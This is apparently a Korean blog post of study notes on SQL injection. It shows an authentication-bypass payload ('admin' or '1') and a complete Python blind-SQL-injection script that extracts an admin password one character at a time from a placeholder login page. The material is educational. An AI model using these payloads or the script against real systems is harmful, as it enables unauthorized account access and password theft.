IT/웹 보안

[SQL Injection & Blind SQL Injection]

kykyky 2024. 6. 8. 08:38

SQL Injection

DBMS의 SQL 쿼리에 임의의 입력값을 넣어 쿼리를 조작하여, 인증을 우회하거나 데이터베이스 정보를 유출하는 공격

- SQL을 이해하고 있다면, 모든 RDBMS에 대해 SQL Injection 가능

SQL
DBMS에 데이터를 질의하는 언어

Injection
이용자의 악의적인 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

 

예시 상황

웹 서비스 내에,

로그인을 위해 아이디와 비밀번호를 입력받고, 이를 DBMS에 조회하기 위한 쿼리에 포함하여 쿼리를 실행하는 페이지가 있다 하자.

 

 

이때 user_table은 아래와 같다.

 

정상적인 쿼리

아이디와 비밀번호 칸에 정상적으로 각각 dreamhack, password를 입력하면 쿼리는 아래와 같이 생성된다. 

쿼리 설명

SELECT: 조회 명령어
*: 테이블의 모든 컬럼 조회
FROM accounts: 데이터를 조회할 테이블을 accounts로 설정
WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 행으로 한정

 

공격 쿼리

uid에 admin을 입력하더라도, 뒤의 비밀번호 조건이 and로 연결되어 있는데 attacker는 당연히 아직 PW를 모르므로, admin계정 정보가 출력되지 못한다.

따라서, 비밀번호 조건을 무력화할 쿼리를 짜야하는 것이다. 어떻게 해야할까?


uid에 admin' or '1을 입력하고, upw를 입력하지 않으면 아래와 같은 쿼리가 생성된다.

쿼리 설명

and가 or보다 우선하므로,
uid='admin'   or   ('1' and pw='')로 묶여서 두 개의 조건으로 나뉜다:
1st: uid='admin' ---> admin의 결과를 반환
2nd: '1' and pw='' ---> SQL에서 문자열 '1'은 항상 True이므로 무시하고, upw가 없는 경우 ---> 아무런 결과도 반환하지 않음

결국, uid가 “admin”인 데이터를 반환하므로, 관리자 계정 정보 얻어냄!

 

아래와 같이 주석( --, #, /**/ )을 사용할 수도 있다.

 

이번에는 SELECT만을 사용했지만, UPDATE와 DELETE을 이용해 임의 데이터를 갱신하고 삭제할 수도 있다.

 

 

Blind SQL Injection

attacker가 쿼리 실행 결과를 직접적으로 확인할 수 없는 경우, 한 바이트씩의 참/거짓 반환 결과를 통해 데이터를 추측하는 SQL injection 공격 기법

 

필요한 함수와 모듈

▶ ascii()

입력받은 문자열 내의 모든 비 ASCII 문자를 이스케이프 시퀀스로 변환하여 반환

 

▶ ord() 

입력받은 단일 문자의 유니코드 코드(정수 값)를 반환

 

▶ substr()

string 내 position째 글자에서 시작해 length개의 글자들을 반환

 

▶ requests 모듈

HTTP 통신에 사용됨 ㅡ HTTP 요청을 보내고 응답을 확인

 

GET

requests.get: GET 메소드를 사용해 URL, Header, Parameter와 함께 HTTP 요청 보냄

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

 

POST

requests.post: POST 메소드를 사용해 URL, Header, Body와 함께 HTTP 요청을 보냄

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

 

GET, POST 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있음 

 

공격 쿼리

쿼리 설명

위 각 쿼리들의 두 번째 조건을 살펴보면,
upw의 특정 번째 글자의 아스키 값이 특정 숫자인지, 즉 비밀번호의 특정 번째 글자가 특정 글자인지 질의
이 질의 결과는 로그인 성공 여부로 나타나며, 이로써 맞음/틀림을 확인

모든 글자에 대해 위 과정을 수행하여 admin 계정의 비밀번호를 알아냄

 

공격 스크립트

Blind SQL Injection은 하나씩 반복해서 확인하느라 시간이 많이 걸려서, 아래와 같이 스크립트를 통해 한번에 수행하기도 한다.

#!/usr/bin/python3
import requests
import string

url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}

# 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위:
# 비밀번호는 알파벳/숫자/특수문자로 이뤄짐
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
# -> 아스키 범위는 32~126
# -> string.ascii_letters + string.digits + string.punctuation
possible_chars = string.ascii_letters + string.digits + string.punctuation

# 사용할 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''

# 한 글자씩 정답인 글자를 password 변수에 쌓아나감
password = ''
for idx in range(0, 20): # 비밀번호 길이는 20자 이하라 가정
    for char in possible_chars:
        # 쿼리를 조작해 param의 uid에 넣고, 이 request를 전송
        params['uid'] = query.format(idx=idx+1, val=ord(char)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 현재 글자를 password 변수에 쌓음
        if c.text.find("Login success") != -1:
            password += char 
            break
            
# admin 계정의 비밀번호 알아냄
print(f"Password is {password}")

 

스크립트 실행 결과